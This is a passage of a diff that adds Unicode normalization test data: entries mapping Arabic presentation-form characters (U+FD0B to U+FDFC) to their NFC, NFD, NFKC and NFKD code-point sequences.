+{ source: [0xFD0B], NFC: [0xFD0B], NFD: [0xFD0B], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD0C], NFC: [0xFD0C], NFD: [0xFD0C], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFD0D], NFC: [0xFD0D], NFD: [0xFD0D], NFKC: [0x0634, 0x0631], NFKD: [0x0634, 0x0631] },
+{ source: [0xFD0E], NFC: [0xFD0E], NFD: [0xFD0E], NFKC: [0x0633, 0x0631], NFKD: [0x0633, 0x0631] },
+{ source: [0xFD0F], NFC: [0xFD0F], NFD: [0xFD0F], NFKC: [0x0635, 0x0631], NFKD: [0x0635, 0x0631] },
+{ source: [0xFD10], NFC: [0xFD10], NFD: [0xFD10], NFKC: [0x0636, 0x0631], NFKD: [0x0636, 0x0631] },
+{ source: [0xFD11], NFC: [0xFD11], NFD: [0xFD11], NFKC: [0x0637, 0x0649], NFKD: [0x0637, 0x0649] },
+{ source: [0xFD12], NFC: [0xFD12], NFD: [0xFD12], NFKC: [0x0637, 0x064A], NFKD: [0x0637, 0x064A] },
+{ source: [0xFD13], NFC: [0xFD13], NFD: [0xFD13], NFKC: [0x0639, 0x0649], NFKD: [0x0639, 0x0649] },
+{ source: [0xFD14], NFC: [0xFD14], NFD: [0xFD14], NFKC: [0x0639, 0x064A], NFKD: [0x0639, 0x064A] },
+{ source: [0xFD15], NFC: [0xFD15], NFD: [0xFD15], NFKC: [0x063A, 0x0649], NFKD: [0x063A, 0x0649] },
+{ source: [0xFD16], NFC: [0xFD16], NFD: [0xFD16], NFKC: [0x063A, 0x064A], NFKD: [0x063A, 0x064A] },
+{ source: [0xFD17], NFC: [0xFD17], NFD: [0xFD17], NFKC: [0x0633, 0x0649], NFKD: [0x0633, 0x0649] },
+{ source: [0xFD18], NFC: [0xFD18], NFD: [0xFD18], NFKC: [0x0633, 0x064A], NFKD: [0x0633, 0x064A] },
+{ source: [0xFD19], NFC: [0xFD19], NFD: [0xFD19], NFKC: [0x0634, 0x0649], NFKD: [0x0634, 0x0649] },
+{ source: [0xFD1A], NFC: [0xFD1A], NFD: [0xFD1A], NFKC: [0x0634, 0x064A], NFKD: [0x0634, 0x064A] },
+{ source: [0xFD1B], NFC: [0xFD1B], NFD: [0xFD1B], NFKC: [0x062D, 0x0649], NFKD: [0x062D, 0x0649] },
+{ source: [0xFD1C], NFC: [0xFD1C], NFD: [0xFD1C], NFKC: [0x062D, 0x064A], NFKD: [0x062D, 0x064A] },
+{ source: [0xFD1D], NFC: [0xFD1D], NFD: [0xFD1D], NFKC: [0x062C, 0x0649], NFKD: [0x062C, 0x0649] },
+{ source: [0xFD1E], NFC: [0xFD1E], NFD: [0xFD1E], NFKC: [0x062C, 0x064A], NFKD: [0x062C, 0x064A] },
+{ source: [0xFD1F], NFC: [0xFD1F], NFD: [0xFD1F], NFKC: [0x062E, 0x0649], NFKD: [0x062E, 0x0649] },
+{ source: [0xFD20], NFC: [0xFD20], NFD: [0xFD20], NFKC: [0x062E, 0x064A], NFKD: [0x062E, 0x064A] },
+{ source: [0xFD21], NFC: [0xFD21], NFD: [0xFD21], NFKC: [0x0635, 0x0649], NFKD: [0x0635, 0x0649] },
+{ source: [0xFD22], NFC: [0xFD22], NFD: [0xFD22], NFKC: [0x0635, 0x064A], NFKD: [0x0635, 0x064A] },
+{ source: [0xFD23], NFC: [0xFD23], NFD: [0xFD23], NFKC: [0x0636, 0x0649], NFKD: [0x0636, 0x0649] },
+{ source: [0xFD24], NFC: [0xFD24], NFD: [0xFD24], NFKC: [0x0636, 0x064A], NFKD: [0x0636, 0x064A] },
+{ source: [0xFD25], NFC: [0xFD25], NFD: [0xFD25], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD26], NFC: [0xFD26], NFD: [0xFD26], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
+{ source: [0xFD27], NFC: [0xFD27], NFD: [0xFD27], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD28], NFC: [0xFD28], NFD: [0xFD28], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFD29], NFC: [0xFD29], NFD: [0xFD29], NFKC: [0x0634, 0x0631], NFKD: [0x0634, 0x0631] },
+{ source: [0xFD2A], NFC: [0xFD2A], NFD: [0xFD2A], NFKC: [0x0633, 0x0631], NFKD: [0x0633, 0x0631] },
+{ source: [0xFD2B], NFC: [0xFD2B], NFD: [0xFD2B], NFKC: [0x0635, 0x0631], NFKD: [0x0635, 0x0631] },
+{ source: [0xFD2C], NFC: [0xFD2C], NFD: [0xFD2C], NFKC: [0x0636, 0x0631], NFKD: [0x0636, 0x0631] },
+{ source: [0xFD2D], NFC: [0xFD2D], NFD: [0xFD2D], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD2E], NFC: [0xFD2E], NFD: [0xFD2E], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
+{ source: [0xFD2F], NFC: [0xFD2F], NFD: [0xFD2F], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD30], NFC: [0xFD30], NFD: [0xFD30], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFD31], NFC: [0xFD31], NFD: [0xFD31], NFKC: [0x0633, 0x0647], NFKD: [0x0633, 0x0647] },
+{ source: [0xFD32], NFC: [0xFD32], NFD: [0xFD32], NFKC: [0x0634, 0x0647], NFKD: [0x0634, 0x0647] },
+{ source: [0xFD33], NFC: [0xFD33], NFD: [0xFD33], NFKC: [0x0637, 0x0645], NFKD: [0x0637, 0x0645] },
+{ source: [0xFD34], NFC: [0xFD34], NFD: [0xFD34], NFKC: [0x0633, 0x062C], NFKD: [0x0633, 0x062C] },
+{ source: [0xFD35], NFC: [0xFD35], NFD: [0xFD35], NFKC: [0x0633, 0x062D], NFKD: [0x0633, 0x062D] },
+{ source: [0xFD36], NFC: [0xFD36], NFD: [0xFD36], NFKC: [0x0633, 0x062E], NFKD: [0x0633, 0x062E] },
+{ source: [0xFD37], NFC: [0xFD37], NFD: [0xFD37], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD38], NFC: [0xFD38], NFD: [0xFD38], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
+{ source: [0xFD39], NFC: [0xFD39], NFD: [0xFD39], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD3A], NFC: [0xFD3A], NFD: [0xFD3A], NFKC: [0x0637, 0x0645], NFKD: [0x0637, 0x0645] },
+{ source: [0xFD3B], NFC: [0xFD3B], NFD: [0xFD3B], NFKC: [0x0638, 0x0645], NFKD: [0x0638, 0x0645] },
+{ source: [0xFD3C], NFC: [0xFD3C], NFD: [0xFD3C], NFKC: [0x0627, 0x064B], NFKD: [0x0627, 0x064B] },
+{ source: [0xFD3D], NFC: [0xFD3D], NFD: [0xFD3D], NFKC: [0x0627, 0x064B], NFKD: [0x0627, 0x064B] },
+{ source: [0xFD50], NFC: [0xFD50], NFD: [0xFD50], NFKC: [0x062A, 0x062C, 0x0645], NFKD: [0x062A, 0x062C, 0x0645] },
+{ source: [0xFD51], NFC: [0xFD51], NFD: [0xFD51], NFKC: [0x062A, 0x062D, 0x062C], NFKD: [0x062A, 0x062D, 0x062C] },
+{ source: [0xFD52], NFC: [0xFD52], NFD: [0xFD52], NFKC: [0x062A, 0x062D, 0x062C], NFKD: [0x062A, 0x062D, 0x062C] },
+{ source: [0xFD53], NFC: [0xFD53], NFD: [0xFD53], NFKC: [0x062A, 0x062D, 0x0645], NFKD: [0x062A, 0x062D, 0x0645] },
+{ source: [0xFD54], NFC: [0xFD54], NFD: [0xFD54], NFKC: [0x062A, 0x062E, 0x0645], NFKD: [0x062A, 0x062E, 0x0645] },
+{ source: [0xFD55], NFC: [0xFD55], NFD: [0xFD55], NFKC: [0x062A, 0x0645, 0x062C], NFKD: [0x062A, 0x0645, 0x062C] },
+{ source: [0xFD56], NFC: [0xFD56], NFD: [0xFD56], NFKC: [0x062A, 0x0645, 0x062D], NFKD: [0x062A, 0x0645, 0x062D] },
+{ source: [0xFD57], NFC: [0xFD57], NFD: [0xFD57], NFKC: [0x062A, 0x0645, 0x062E], NFKD: [0x062A, 0x0645, 0x062E] },
+{ source: [0xFD58], NFC: [0xFD58], NFD: [0xFD58], NFKC: [0x062C, 0x0645, 0x062D], NFKD: [0x062C, 0x0645, 0x062D] },
+{ source: [0xFD59], NFC: [0xFD59], NFD: [0xFD59], NFKC: [0x062C, 0x0645, 0x062D], NFKD: [0x062C, 0x0645, 0x062D] },
+{ source: [0xFD5A], NFC: [0xFD5A], NFD: [0xFD5A], NFKC: [0x062D, 0x0645, 0x064A], NFKD: [0x062D, 0x0645, 0x064A] },
+{ source: [0xFD5B], NFC: [0xFD5B], NFD: [0xFD5B], NFKC: [0x062D, 0x0645, 0x0649], NFKD: [0x062D, 0x0645, 0x0649] },
+{ source: [0xFD5C], NFC: [0xFD5C], NFD: [0xFD5C], NFKC: [0x0633, 0x062D, 0x062C], NFKD: [0x0633, 0x062D, 0x062C] },
+{ source: [0xFD5D], NFC: [0xFD5D], NFD: [0xFD5D], NFKC: [0x0633, 0x062C, 0x062D], NFKD: [0x0633, 0x062C, 0x062D] },
+{ source: [0xFD5E], NFC: [0xFD5E], NFD: [0xFD5E], NFKC: [0x0633, 0x062C, 0x0649], NFKD: [0x0633, 0x062C, 0x0649] },
+{ source: [0xFD5F], NFC: [0xFD5F], NFD: [0xFD5F], NFKC: [0x0633, 0x0645, 0x062D], NFKD: [0x0633, 0x0645, 0x062D] },
+{ source: [0xFD60], NFC: [0xFD60], NFD: [0xFD60], NFKC: [0x0633, 0x0645, 0x062D], NFKD: [0x0633, 0x0645, 0x062D] },
+{ source: [0xFD61], NFC: [0xFD61], NFD: [0xFD61], NFKC: [0x0633, 0x0645, 0x062C], NFKD: [0x0633, 0x0645, 0x062C] },
+{ source: [0xFD62], NFC: [0xFD62], NFD: [0xFD62], NFKC: [0x0633, 0x0645, 0x0645], NFKD: [0x0633, 0x0645, 0x0645] },
+{ source: [0xFD63], NFC: [0xFD63], NFD: [0xFD63], NFKC: [0x0633, 0x0645, 0x0645], NFKD: [0x0633, 0x0645, 0x0645] },
+{ source: [0xFD64], NFC: [0xFD64], NFD: [0xFD64], NFKC: [0x0635, 0x062D, 0x062D], NFKD: [0x0635, 0x062D, 0x062D] },
+{ source: [0xFD65], NFC: [0xFD65], NFD: [0xFD65], NFKC: [0x0635, 0x062D, 0x062D], NFKD: [0x0635, 0x062D, 0x062D] },
+{ source: [0xFD66], NFC: [0xFD66], NFD: [0xFD66], NFKC: [0x0635, 0x0645, 0x0645], NFKD: [0x0635, 0x0645, 0x0645] },
+{ source: [0xFD67], NFC: [0xFD67], NFD: [0xFD67], NFKC: [0x0634, 0x062D, 0x0645], NFKD: [0x0634, 0x062D, 0x0645] },
+{ source: [0xFD68], NFC: [0xFD68], NFD: [0xFD68], NFKC: [0x0634, 0x062D, 0x0645], NFKD: [0x0634, 0x062D, 0x0645] },
+{ source: [0xFD69], NFC: [0xFD69], NFD: [0xFD69], NFKC: [0x0634, 0x062C, 0x064A], NFKD: [0x0634, 0x062C, 0x064A] },
+{ source: [0xFD6A], NFC: [0xFD6A], NFD: [0xFD6A], NFKC: [0x0634, 0x0645, 0x062E], NFKD: [0x0634, 0x0645, 0x062E] },
+{ source: [0xFD6B], NFC: [0xFD6B], NFD: [0xFD6B], NFKC: [0x0634, 0x0645, 0x062E], NFKD: [0x0634, 0x0645, 0x062E] },
+{ source: [0xFD6C], NFC: [0xFD6C], NFD: [0xFD6C], NFKC: [0x0634, 0x0645, 0x0645], NFKD: [0x0634, 0x0645, 0x0645] },
+{ source: [0xFD6D], NFC: [0xFD6D], NFD: [0xFD6D], NFKC: [0x0634, 0x0645, 0x0645], NFKD: [0x0634, 0x0645, 0x0645] },
+{ source: [0xFD6E], NFC: [0xFD6E], NFD: [0xFD6E], NFKC: [0x0636, 0x062D, 0x0649], NFKD: [0x0636, 0x062D, 0x0649] },
+{ source: [0xFD6F], NFC: [0xFD6F], NFD: [0xFD6F], NFKC: [0x0636, 0x062E, 0x0645], NFKD: [0x0636, 0x062E, 0x0645] },
+{ source: [0xFD70], NFC: [0xFD70], NFD: [0xFD70], NFKC: [0x0636, 0x062E, 0x0645], NFKD: [0x0636, 0x062E, 0x0645] },
+{ source: [0xFD71], NFC: [0xFD71], NFD: [0xFD71], NFKC: [0x0637, 0x0645, 0x062D], NFKD: [0x0637, 0x0645, 0x062D] },
+{ source: [0xFD72], NFC: [0xFD72], NFD: [0xFD72], NFKC: [0x0637, 0x0645, 0x062D], NFKD: [0x0637, 0x0645, 0x062D] },
+{ source: [0xFD73], NFC: [0xFD73], NFD: [0xFD73], NFKC: [0x0637, 0x0645, 0x0645], NFKD: [0x0637, 0x0645, 0x0645] },
+{ source: [0xFD74], NFC: [0xFD74], NFD: [0xFD74], NFKC: [0x0637, 0x0645, 0x064A], NFKD: [0x0637, 0x0645, 0x064A] },
+{ source: [0xFD75], NFC: [0xFD75], NFD: [0xFD75], NFKC: [0x0639, 0x062C, 0x0645], NFKD: [0x0639, 0x062C, 0x0645] },
+{ source: [0xFD76], NFC: [0xFD76], NFD: [0xFD76], NFKC: [0x0639, 0x0645, 0x0645], NFKD: [0x0639, 0x0645, 0x0645] },
+{ source: [0xFD77], NFC: [0xFD77], NFD: [0xFD77], NFKC: [0x0639, 0x0645, 0x0645], NFKD: [0x0639, 0x0645, 0x0645] },
+{ source: [0xFD78], NFC: [0xFD78], NFD: [0xFD78], NFKC: [0x0639, 0x0645, 0x0649], NFKD: [0x0639, 0x0645, 0x0649] },
+{ source: [0xFD79], NFC: [0xFD79], NFD: [0xFD79], NFKC: [0x063A, 0x0645, 0x0645], NFKD: [0x063A, 0x0645, 0x0645] },
+{ source: [0xFD7A], NFC: [0xFD7A], NFD: [0xFD7A], NFKC: [0x063A, 0x0645, 0x064A], NFKD: [0x063A, 0x0645, 0x064A] },
+{ source: [0xFD7B], NFC: [0xFD7B], NFD: [0xFD7B], NFKC: [0x063A, 0x0645, 0x0649], NFKD: [0x063A, 0x0645, 0x0649] },
+{ source: [0xFD7C], NFC: [0xFD7C], NFD: [0xFD7C], NFKC: [0x0641, 0x062E, 0x0645], NFKD: [0x0641, 0x062E, 0x0645] },
+{ source: [0xFD7D], NFC: [0xFD7D], NFD: [0xFD7D], NFKC: [0x0641, 0x062E, 0x0645], NFKD: [0x0641, 0x062E, 0x0645] },
+{ source: [0xFD7E], NFC: [0xFD7E], NFD: [0xFD7E], NFKC: [0x0642, 0x0645, 0x062D], NFKD: [0x0642, 0x0645, 0x062D] },
+{ source: [0xFD7F], NFC: [0xFD7F], NFD: [0xFD7F], NFKC: [0x0642, 0x0645, 0x0645], NFKD: [0x0642, 0x0645, 0x0645] },
+{ source: [0xFD80], NFC: [0xFD80], NFD: [0xFD80], NFKC: [0x0644, 0x062D, 0x0645], NFKD: [0x0644, 0x062D, 0x0645] },
+{ source: [0xFD81], NFC: [0xFD81], NFD: [0xFD81], NFKC: [0x0644, 0x062D, 0x064A], NFKD: [0x0644, 0x062D, 0x064A] },
+{ source: [0xFD82], NFC: [0xFD82], NFD: [0xFD82], NFKC: [0x0644, 0x062D, 0x0649], NFKD: [0x0644, 0x062D, 0x0649] },
+{ source: [0xFD83], NFC: [0xFD83], NFD: [0xFD83], NFKC: [0x0644, 0x062C, 0x062C], NFKD: [0x0644, 0x062C, 0x062C] },
+{ source: [0xFD84], NFC: [0xFD84], NFD: [0xFD84], NFKC: [0x0644, 0x062C, 0x062C], NFKD: [0x0644, 0x062C, 0x062C] },
+{ source: [0xFD85], NFC: [0xFD85], NFD: [0xFD85], NFKC: [0x0644, 0x062E, 0x0645], NFKD: [0x0644, 0x062E, 0x0645] },
+{ source: [0xFD86], NFC: [0xFD86], NFD: [0xFD86], NFKC: [0x0644, 0x062E, 0x0645], NFKD: [0x0644, 0x062E, 0x0645] },
+{ source: [0xFD87], NFC: [0xFD87], NFD: [0xFD87], NFKC: [0x0644, 0x0645, 0x062D], NFKD: [0x0644, 0x0645, 0x062D] },
+{ source: [0xFD88], NFC: [0xFD88], NFD: [0xFD88], NFKC: [0x0644, 0x0645, 0x062D], NFKD: [0x0644, 0x0645, 0x062D] },
+{ source: [0xFD89], NFC: [0xFD89], NFD: [0xFD89], NFKC: [0x0645, 0x062D, 0x062C], NFKD: [0x0645, 0x062D, 0x062C] },
+{ source: [0xFD8A], NFC: [0xFD8A], NFD: [0xFD8A], NFKC: [0x0645, 0x062D, 0x0645], NFKD: [0x0645, 0x062D, 0x0645] },
+{ source: [0xFD8B], NFC: [0xFD8B], NFD: [0xFD8B], NFKC: [0x0645, 0x062D, 0x064A], NFKD: [0x0645, 0x062D, 0x064A] },
+{ source: [0xFD8C], NFC: [0xFD8C], NFD: [0xFD8C], NFKC: [0x0645, 0x062C, 0x062D], NFKD: [0x0645, 0x062C, 0x062D] },
+{ source: [0xFD8D], NFC: [0xFD8D], NFD: [0xFD8D], NFKC: [0x0645, 0x062C, 0x0645], NFKD: [0x0645, 0x062C, 0x0645] },
+{ source: [0xFD8E], NFC: [0xFD8E], NFD: [0xFD8E], NFKC: [0x0645, 0x062E, 0x062C], NFKD: [0x0645, 0x062E, 0x062C] },
+{ source: [0xFD8F], NFC: [0xFD8F], NFD: [0xFD8F], NFKC: [0x0645, 0x062E, 0x0645], NFKD: [0x0645, 0x062E, 0x0645] },
+{ source: [0xFD92], NFC: [0xFD92], NFD: [0xFD92], NFKC: [0x0645, 0x062C, 0x062E], NFKD: [0x0645, 0x062C, 0x062E] },
+{ source: [0xFD93], NFC: [0xFD93], NFD: [0xFD93], NFKC: [0x0647, 0x0645, 0x062C], NFKD: [0x0647, 0x0645, 0x062C] },
+{ source: [0xFD94], NFC: [0xFD94], NFD: [0xFD94], NFKC: [0x0647, 0x0645, 0x0645], NFKD: [0x0647, 0x0645, 0x0645] },
+{ source: [0xFD95], NFC: [0xFD95], NFD: [0xFD95], NFKC: [0x0646, 0x062D, 0x0645], NFKD: [0x0646, 0x062D, 0x0645] },
+{ source: [0xFD96], NFC: [0xFD96], NFD: [0xFD96], NFKC: [0x0646, 0x062D, 0x0649], NFKD: [0x0646, 0x062D, 0x0649] },
+{ source: [0xFD97], NFC: [0xFD97], NFD: [0xFD97], NFKC: [0x0646, 0x062C, 0x0645], NFKD: [0x0646, 0x062C, 0x0645] },
+{ source: [0xFD98], NFC: [0xFD98], NFD: [0xFD98], NFKC: [0x0646, 0x062C, 0x0645], NFKD: [0x0646, 0x062C, 0x0645] },
+{ source: [0xFD99], NFC: [0xFD99], NFD: [0xFD99], NFKC: [0x0646, 0x062C, 0x0649], NFKD: [0x0646, 0x062C, 0x0649] },
+{ source: [0xFD9A], NFC: [0xFD9A], NFD: [0xFD9A], NFKC: [0x0646, 0x0645, 0x064A], NFKD: [0x0646, 0x0645, 0x064A] },
+{ source: [0xFD9B], NFC: [0xFD9B], NFD: [0xFD9B], NFKC: [0x0646, 0x0645, 0x0649], NFKD: [0x0646, 0x0645, 0x0649] },
+{ source: [0xFD9C], NFC: [0xFD9C], NFD: [0xFD9C], NFKC: [0x064A, 0x0645, 0x0645], NFKD: [0x064A, 0x0645, 0x0645] },
+{ source: [0xFD9D], NFC: [0xFD9D], NFD: [0xFD9D], NFKC: [0x064A, 0x0645, 0x0645], NFKD: [0x064A, 0x0645, 0x0645] },
+{ source: [0xFD9E], NFC: [0xFD9E], NFD: [0xFD9E], NFKC: [0x0628, 0x062E, 0x064A], NFKD: [0x0628, 0x062E, 0x064A] },
+{ source: [0xFD9F], NFC: [0xFD9F], NFD: [0xFD9F], NFKC: [0x062A, 0x062C, 0x064A], NFKD: [0x062A, 0x062C, 0x064A] },
+{ source: [0xFDA0], NFC: [0xFDA0], NFD: [0xFDA0], NFKC: [0x062A, 0x062C, 0x0649], NFKD: [0x062A, 0x062C, 0x0649] },
+{ source: [0xFDA1], NFC: [0xFDA1], NFD: [0xFDA1], NFKC: [0x062A, 0x062E, 0x064A], NFKD: [0x062A, 0x062E, 0x064A] },
+{ source: [0xFDA2], NFC: [0xFDA2], NFD: [0xFDA2], NFKC: [0x062A, 0x062E, 0x0649], NFKD: [0x062A, 0x062E, 0x0649] },
+{ source: [0xFDA3], NFC: [0xFDA3], NFD: [0xFDA3], NFKC: [0x062A, 0x0645, 0x064A], NFKD: [0x062A, 0x0645, 0x064A] },
+{ source: [0xFDA4], NFC: [0xFDA4], NFD: [0xFDA4], NFKC: [0x062A, 0x0645, 0x0649], NFKD: [0x062A, 0x0645, 0x0649] },
+{ source: [0xFDA5], NFC: [0xFDA5], NFD: [0xFDA5], NFKC: [0x062C, 0x0645, 0x064A], NFKD: [0x062C, 0x0645, 0x064A] },
+{ source: [0xFDA6], NFC: [0xFDA6], NFD: [0xFDA6], NFKC: [0x062C, 0x062D, 0x0649], NFKD: [0x062C, 0x062D, 0x0649] },
+{ source: [0xFDA7], NFC: [0xFDA7], NFD: [0xFDA7], NFKC: [0x062C, 0x0645, 0x0649], NFKD: [0x062C, 0x0645, 0x0649] },
+{ source: [0xFDA8], NFC: [0xFDA8], NFD: [0xFDA8], NFKC: [0x0633, 0x062E, 0x0649], NFKD: [0x0633, 0x062E, 0x0649] },
+{ source: [0xFDA9], NFC: [0xFDA9], NFD: [0xFDA9], NFKC: [0x0635, 0x062D, 0x064A], NFKD: [0x0635, 0x062D, 0x064A] },
+{ source: [0xFDAA], NFC: [0xFDAA], NFD: [0xFDAA], NFKC: [0x0634, 0x062D, 0x064A], NFKD: [0x0634, 0x062D, 0x064A] },
+{ source: [0xFDAB], NFC: [0xFDAB], NFD: [0xFDAB], NFKC: [0x0636, 0x062D, 0x064A], NFKD: [0x0636, 0x062D, 0x064A] },
+{ source: [0xFDAC], NFC: [0xFDAC], NFD: [0xFDAC], NFKC: [0x0644, 0x062C, 0x064A], NFKD: [0x0644, 0x062C, 0x064A] },
+{ source: [0xFDAD], NFC: [0xFDAD], NFD: [0xFDAD], NFKC: [0x0644, 0x0645, 0x064A], NFKD: [0x0644, 0x0645, 0x064A] },
+{ source: [0xFDAE], NFC: [0xFDAE], NFD: [0xFDAE], NFKC: [0x064A, 0x062D, 0x064A], NFKD: [0x064A, 0x062D, 0x064A] },
+{ source: [0xFDAF], NFC: [0xFDAF], NFD: [0xFDAF], NFKC: [0x064A, 0x062C, 0x064A], NFKD: [0x064A, 0x062C, 0x064A] },
+{ source: [0xFDB0], NFC: [0xFDB0], NFD: [0xFDB0], NFKC: [0x064A, 0x0645, 0x064A], NFKD: [0x064A, 0x0645, 0x064A] },
+{ source: [0xFDB1], NFC: [0xFDB1], NFD: [0xFDB1], NFKC: [0x0645, 0x0645, 0x064A], NFKD: [0x0645, 0x0645, 0x064A] },
+{ source: [0xFDB2], NFC: [0xFDB2], NFD: [0xFDB2], NFKC: [0x0642, 0x0645, 0x064A], NFKD: [0x0642, 0x0645, 0x064A] },
+{ source: [0xFDB3], NFC: [0xFDB3], NFD: [0xFDB3], NFKC: [0x0646, 0x062D, 0x064A], NFKD: [0x0646, 0x062D, 0x064A] },
+{ source: [0xFDB4], NFC: [0xFDB4], NFD: [0xFDB4], NFKC: [0x0642, 0x0645, 0x062D], NFKD: [0x0642, 0x0645, 0x062D] },
+{ source: [0xFDB5], NFC: [0xFDB5], NFD: [0xFDB5], NFKC: [0x0644, 0x062D, 0x0645], NFKD: [0x0644, 0x062D, 0x0645] },
+{ source: [0xFDB6], NFC: [0xFDB6], NFD: [0xFDB6], NFKC: [0x0639, 0x0645, 0x064A], NFKD: [0x0639, 0x0645, 0x064A] },
+{ source: [0xFDB7], NFC: [0xFDB7], NFD: [0xFDB7], NFKC: [0x0643, 0x0645, 0x064A], NFKD: [0x0643, 0x0645, 0x064A] },
+{ source: [0xFDB8], NFC: [0xFDB8], NFD: [0xFDB8], NFKC: [0x0646, 0x062C, 0x062D], NFKD: [0x0646, 0x062C, 0x062D] },
+{ source: [0xFDB9], NFC: [0xFDB9], NFD: [0xFDB9], NFKC: [0x0645, 0x062E, 0x064A], NFKD: [0x0645, 0x062E, 0x064A] },
+{ source: [0xFDBA], NFC: [0xFDBA], NFD: [0xFDBA], NFKC: [0x0644, 0x062C, 0x0645], NFKD: [0x0644, 0x062C, 0x0645] },
+{ source: [0xFDBB], NFC: [0xFDBB], NFD: [0xFDBB], NFKC: [0x0643, 0x0645, 0x0645], NFKD: [0x0643, 0x0645, 0x0645] },
+{ source: [0xFDBC], NFC: [0xFDBC], NFD: [0xFDBC], NFKC: [0x0644, 0x062C, 0x0645], NFKD: [0x0644, 0x062C, 0x0645] },
+{ source: [0xFDBD], NFC: [0xFDBD], NFD: [0xFDBD], NFKC: [0x0646, 0x062C, 0x062D], NFKD: [0x0646, 0x062C, 0x062D] },
+{ source: [0xFDBE], NFC: [0xFDBE], NFD: [0xFDBE], NFKC: [0x062C, 0x062D, 0x064A], NFKD: [0x062C, 0x062D, 0x064A] },
+{ source: [0xFDBF], NFC: [0xFDBF], NFD: [0xFDBF], NFKC: [0x062D, 0x062C, 0x064A], NFKD: [0x062D, 0x062C, 0x064A] },
+{ source: [0xFDC0], NFC: [0xFDC0], NFD: [0xFDC0], NFKC: [0x0645, 0x062C, 0x064A], NFKD: [0x0645, 0x062C, 0x064A] },
+{ source: [0xFDC1], NFC: [0xFDC1], NFD: [0xFDC1], NFKC: [0x0641, 0x0645, 0x064A], NFKD: [0x0641, 0x0645, 0x064A] },
+{ source: [0xFDC2], NFC: [0xFDC2], NFD: [0xFDC2], NFKC: [0x0628, 0x062D, 0x064A], NFKD: [0x0628, 0x062D, 0x064A] },
+{ source: [0xFDC3], NFC: [0xFDC3], NFD: [0xFDC3], NFKC: [0x0643, 0x0645, 0x0645], NFKD: [0x0643, 0x0645, 0x0645] },
+{ source: [0xFDC4], NFC: [0xFDC4], NFD: [0xFDC4], NFKC: [0x0639, 0x062C, 0x0645], NFKD: [0x0639, 0x062C, 0x0645] },
+{ source: [0xFDC5], NFC: [0xFDC5], NFD: [0xFDC5], NFKC: [0x0635, 0x0645, 0x0645], NFKD: [0x0635, 0x0645, 0x0645] },
+{ source: [0xFDC6], NFC: [0xFDC6], NFD: [0xFDC6], NFKC: [0x0633, 0x062E, 0x064A], NFKD: [0x0633, 0x062E, 0x064A] },
+{ source: [0xFDC7], NFC: [0xFDC7], NFD: [0xFDC7], NFKC: [0x0646, 0x062C, 0x064A], NFKD: [0x0646, 0x062C, 0x064A] },
+{ source: [0xFDF0], NFC: [0xFDF0], NFD: [0xFDF0], NFKC: [0x0635, 0x0644, 0x06D2], NFKD: [0x0635, 0x0644, 0x06D2] },
+{ source: [0xFDF1], NFC: [0xFDF1], NFD: [0xFDF1], NFKC: [0x0642, 0x0644, 0x06D2], NFKD: [0x0642, 0x0644, 0x06D2] },
+{ source: [0xFDF2], NFC: [0xFDF2], NFD: [0xFDF2], NFKC: [0x0627, 0x0644, 0x0644, 0x0647], NFKD: [0x0627, 0x0644, 0x0644, 0x0647] },
+{ source: [0xFDF3], NFC: [0xFDF3], NFD: [0xFDF3], NFKC: [0x0627, 0x0643, 0x0628, 0x0631], NFKD: [0x0627, 0x0643, 0x0628, 0x0631] },
+{ source: [0xFDF4], NFC: [0xFDF4], NFD: [0xFDF4], NFKC: [0x0645, 0x062D, 0x0645, 0x062F], NFKD: [0x0645, 0x062D, 0x0645, 0x062F] },
+{ source: [0xFDF5], NFC: [0xFDF5], NFD: [0xFDF5], NFKC: [0x0635, 0x0644, 0x0639, 0x0645], NFKD: [0x0635, 0x0644, 0x0639, 0x0645] },
+{ source: [0xFDF6], NFC: [0xFDF6], NFD: [0xFDF6], NFKC: [0x0631, 0x0633, 0x0648, 0x0644], NFKD: [0x0631, 0x0633, 0x0648, 0x0644] },
+{ source: [0xFDF7], NFC: [0xFDF7], NFD: [0xFDF7], NFKC: [0x0639, 0x0644, 0x064A, 0x0647], NFKD: [0x0639, 0x0644, 0x064A, 0x0647] },
+{ source: [0xFDF8], NFC: [0xFDF8], NFD: [0xFDF8], NFKC: [0x0648, 0x0633, 0x0644, 0x0645], NFKD: [0x0648, 0x0633, 0x0644, 0x0645] },
+{ source: [0xFDF9], NFC: [0xFDF9], NFD: [0xFDF9], NFKC: [0x0635, 0x0644, 0x0649], NFKD: [0x0635, 0x0644, 0x0649] },
+{ source: [0xFDFA], NFC: [0xFDFA], NFD: [0xFDFA], NFKC: [0x0635, 0x0644, 0x0649, 0x0020, 0x0627, 0x0644, 0x0644, 0x0647, 0x0020, 0x0639, 0x0644, 0x064A, 0x0647, 0x0020, 0x0648, 0x0633, 0x0644, 0x0645], NFKD: [0x0635, 0x0644, 0x0649, 0x0020, 0x0627, 0x0644, 0x0644, 0x0647, 0x0020, 0x0639, 0x0644, 0x064A, 0x0647, 0x0020, 0x0648, 0x0633, 0x0644, 0x0645] },
+{ source: [0xFDFB], NFC: [0xFDFB], NFD: [0xFDFB], NFKC: [0x062C, 0x0644, 0x0020, 0x062C, 0x0644, 0x0627, 0x0644, 0x0647], NFKD: [0x062C, 0x0644, 0x0020, 0x062C, 0x0644, 0x0627, 0x0644, 0x0647] },
+{ source: [0xFDFC], NFC: [0xFDFC], NFD: [0xFDFC], NFKC: [0x0631, 0x06CC, 0x0627, 0x0644], NFKD: [0x0631, 0x06CC, 0x0627, 0x0644] },
